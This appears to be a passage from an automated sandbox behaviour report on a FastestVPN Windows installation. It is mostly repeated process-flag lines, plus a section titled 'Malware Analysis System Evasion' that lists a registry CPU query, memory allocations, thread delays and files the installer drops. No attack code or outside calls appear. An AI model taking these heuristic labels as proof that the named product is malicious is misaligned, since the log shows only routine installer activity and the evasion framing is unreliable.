    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\subinacl.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\subinacl.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\regedit.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOX

    Malware Analysis System Evasion

    barindex
    Queries sensitive system registry key value via command line tool
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 1230000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 2C90000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 4C90000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMemory allocated: 1990000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMemory allocated: 3150000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMemory allocated: 5150000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 1860000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 32D0000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 1950000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 1260000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 1730000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: 3830000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMemory allocated: 1980000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMemory allocated: 3340000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMemory allocated: 5340000 memory reserve | memory write watch
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD4820 SetupDiGetDeviceRegistryPropertyW,GetLastError,SetupDiGetDeviceRegistryPropertyW,12_2_00007FF7FEDD4820
    Source: C:\Program Files\FastestVPN\FastestVPN.exeThread delayed: delay time: 922337203685477
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Program Files\FastestVPN\FastestVPN.exeThread delayed: delay time: 922337203685477
    Source: C:\Program Files\FastestVPN\FastestVPN.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWindow / User API: threadDelayed 3070
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWindow / User API: threadDelayed 1270
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeWindow / User API: threadDelayed 582
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2280
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 599
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3277
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 929
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-I39KV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-DC4V4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-625EJ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-S1CTK.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.AdvancedNetwork.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.Abstractions.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Owin.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-OAN7C.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\wireguard.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-APR4M.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-6ANJF.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\is-A7TIP.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-T36FQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-6KVN1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-4L5KV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\is-FH0V4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.Data.Local.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\libssl-1_1-x64.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-TUPQN.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Flurl.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-QN6B0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\iphelperclose.dll (copy)Jump to dropped file
